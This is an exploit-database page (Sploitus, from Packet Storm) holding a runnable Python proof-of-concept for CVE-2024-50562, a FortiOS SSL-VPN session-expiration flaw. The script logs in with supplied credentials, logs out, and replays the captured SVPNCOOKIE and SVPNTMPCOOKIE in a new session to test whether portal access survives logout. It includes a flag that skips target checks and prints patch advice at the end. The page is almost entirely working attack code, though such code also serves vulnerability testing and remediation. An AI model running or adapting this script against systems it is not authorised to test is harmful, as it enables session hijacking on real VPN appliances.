Sploitus

Exploit for πŸ“„ FortiOS SSL-VPN 7.4.4 Insufficient Session Expiration / Cookie Reuse

packetstorm Β· 2025-06-20

Exploit Code

python313 lines
## https://sploitus.com/exploit?id=PACKETSTORM:200981
#!/usr/bin/env python3
    """
    # Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
    # Date: 2025-06-15
    # Exploit Author: Shahid Parvez Hakim (BugB Technologies)
    # Vendor Homepage: https://www.fortinet.com
    # Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
    # Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
    # Tested on: FortiOS 7.4.x, 7.2.x
    # CVE: CVE-2024-50562
    # CVSS: 4.4 (Medium)
    # Category: Session Management
    # CWE: CWE-613 (Insufficient Session Expiration)
    
    Description:
    An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker 
    to reuse stale session cookies after logout, potentially leading to unauthorized access.
    The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.
    
    References:
    - https://fortiguard.com/psirt/FG-IR-24-339
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50562
    
    Usage:
    python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]
    
    Example:
    python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
    python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
    """
    
    import argparse
    import requests
    import urllib3
    import re
    import sys
    from urllib.parse import urlparse
    
    # Disable SSL warnings for testing
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class FortinetExploit:
        def __init__(self, target, username, password, realm="", timeout=10, force=False):
            self.target = target
            self.username = username
            self.password = password
            self.realm = realm
            self.timeout = timeout
            self.force = force
            self.base_url = f"https://{target}"
            self.session = None
            
        def banner(self):
            """Display exploit banner"""
            print("=" * 70)
            print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
            print("Author: Shahid Parvez Hakim (BugB Technologies)")
            print("CVSS: 4.4 (Medium) | FG-IR-24-339")
            print("=" * 70)
            print(f"Target: {self.target}")
            print(f"User: {self.username}")
            print("-" * 70)
    
        def validate_target(self):
            """Check if target is reachable and is Fortinet SSL-VPN"""
            try:
                print("[*] Validating target...")
                response = requests.get(f"{self.base_url}/remote/login", 
                                      verify=False, timeout=self.timeout)
                
                # More flexible detection for Fortinet SSL-VPN
                fortinet_indicators = [
                    "fortinet", "fortigate", "forticlient",
                    "sslvpn", "/remote/login", "SVPNCOOKIE",
                    "logincheck", "hostcheck_install",
                    "fgt_lang", "realm"
                ]
                
                response_text = response.text.lower()
                detected_indicators = [indicator for indicator in fortinet_indicators 
                                     if indicator in response_text]
                
                if detected_indicators:
                    print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
                    return True
                elif response.status_code == 200:
                    print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
                    return True
                else:
                    print("[-] Target does not appear to be Fortinet SSL-VPN")
                    return False
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection failed: {e}")
                return False
    
        def attempt_login(self):
            """Attempt to authenticate with provided credentials"""
            try:
                print("[*] Attempting authentication...")
                
                self.session = requests.Session()
                self.session.verify = False
                
                # Get login page first
                self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
                
                # Attempt login
                login_data = {
                    "ajax": "1",
                    "username": self.username,
                    "realm": self.realm,
                    "credential": self.password
                }
                
                headers = {"Content-Type": "application/x-www-form-urlencoded"}
                
                response = self.session.post(f"{self.base_url}/remote/logincheck",
                                           data=login_data, headers=headers, 
                                           timeout=self.timeout)
                
                # Check if login was successful
                if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
                    print("[+] Authentication successful!")
                    
                    # Extract and display cookies
                    cookies = requests.utils.dict_from_cookiejar(response.cookies)
                    self.display_cookies(cookies, "Login")
                    
                    return True, cookies
                else:
                    print("[-] Authentication failed!")
                    print(f"[!] Server response: {response.text[:100]}...")
                    return False, {}
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Login request failed: {e}")
                return False, {}
    
        def perform_logout(self):
            """Perform logout and check cookie invalidation"""
            try:
                print("[*] Performing logout...")
                
                response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
                cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
                
                print("[+] Logout completed")
                self.display_cookies(cookies_after_logout, "Logout")
                
                return cookies_after_logout
                
            except requests.exceptions.RequestException as e:
                print(f"[-] Logout request failed: {e}")
                return {}
    
        def test_session_reuse(self, original_cookies):
            """Test if old session cookies still work after logout"""
            try:
                print("[*] Testing session cookie reuse...")
                
                # Create new session to simulate attacker
                exploit_session = requests.Session()
                exploit_session.verify = False
                
                # Use original login cookies
                exploit_session.cookies.update(original_cookies)
                
                # Try to access protected resource
                test_url = f"{self.base_url}/sslvpn/portal.html"
                response = exploit_session.get(test_url, timeout=self.timeout)
                
                # Check if we're still authenticated
                if self.is_authenticated_response(response.text):
                    print("[!] VULNERABILITY CONFIRMED!")
                    print("[!] Session cookies remain valid after logout")
                    print("[!] CVE-2024-50562 affects this system")
                    return True
                else:
                    print("[+] Session properly invalidated")
                    print("[+] System appears to be patched")
                    return False
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Session reuse test failed: {e}")
                return False
    
        def is_authenticated_response(self, response_body):
            """Check if response indicates authenticated access"""
            # If response contains login form elements, user is not authenticated
            if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
                return False
            return True
    
        def display_cookies(self, cookies, context):
            """Display cookies in a formatted way"""
            if cookies:
                print(f"[*] Cookies after {context}:")
                for name, value in cookies.items():
                    # Truncate long values for display
                    display_value = value[:20] + "..." if len(value) > 20 else value
                    print(f"    {name} = {display_value}")
                    
                    # Highlight important cookies for CVE
                    if name == "SVPNTMPCOOKIE":
                        print(f"    [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562")
                    elif name == "SVPNCOOKIE":
                        print(f"    [*] Found SVPNCOOKIE - Primary session cookie")
            else:
                print(f"[*] No cookies set after {context}")
    
        def exploit(self):
            """Main exploit routine"""
            self.banner()
            
            # Step 1: Validate target (unless forced to skip)
            if not self.force:
                if not self.validate_target():
                    print("[!] Use --force to skip target validation and proceed anyway")
                    return False
            else:
                print("[*] Skipping target validation (--force enabled)")
                
            # Step 2: Attempt login
            login_success, login_cookies = self.attempt_login()
            if not login_success:
                return False
                
            # Step 3: Perform logout
            logout_cookies = self.perform_logout()
            
            # Step 4: Test session reuse
            vulnerable = self.test_session_reuse(login_cookies)
            
            # Step 5: Display results
            print("\n" + "=" * 70)
            print("EXPLOIT RESULTS")
            print("=" * 70)
            
            if vulnerable:
                print("STATUS: VULNERABLE")
                print("CVE-2024-50562: CONFIRMED")
                print("SEVERITY: Medium (CVSS 4.4)")
                print("\nRECOMMENDATIONS:")
                print("- Upgrade to patched FortiOS version")
                print("- FortiOS 7.6.x: Upgrade to 7.6.1+")
                print("- FortiOS 7.4.x: Upgrade to 7.4.8+")
                print("- FortiOS 7.2.x: Upgrade to 7.2.11+")
                print("- FortiOS 7.0.x/6.4.x: Migrate to supported version")
            else:
                print("STATUS: NOT VULNERABLE")
                print("CVE-2024-50562: NOT AFFECTED")
                print("\nSystem appears to be patched or not vulnerable")
                
            return vulnerable
    
    def parse_target(target_string):
        """Parse target string and extract host:port"""
        if ':' not in target_string:
            # Default HTTPS port if not specified
            return f"{target_string}:443"
        return target_string
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
      python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
      python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
      python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
            """
        )
        
        parser.add_argument('-t', '--target', required=True,
                            help='Target IP:PORT (e.g., 192.168.1.10:443)')
        parser.add_argument('-u', '--username', required=True,
                            help='Username for authentication')
        parser.add_argument('-p', '--password', required=True,
                            help='Password for authentication')
        parser.add_argument('--realm', default='',
                            help='Authentication realm (optional)')
        parser.add_argument('--timeout', type=int, default=10,
                            help='Request timeout in seconds (default: 10)')
        parser.add_argument('--force', action='store_true',
                            help='Skip target validation and proceed anyway')
        
        args = parser.parse_args()
        
        # Parse and validate target
        target = parse_target(args.target)
        
        try:
            # Initialize and run exploit
            exploit = FortinetExploit(target, args.username, args.password, 
                                    args.realm, args.timeout, args.force)
            vulnerable = exploit.exploit()
            
            # Exit with appropriate code
            sys.exit(0 if vulnerable else 1)
            
        except KeyboardInterrupt:
            print("\n[!] Exploit interrupted by user")
            sys.exit(1)
        except Exception as e:
            print(f"[!] Unexpected error: {e}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()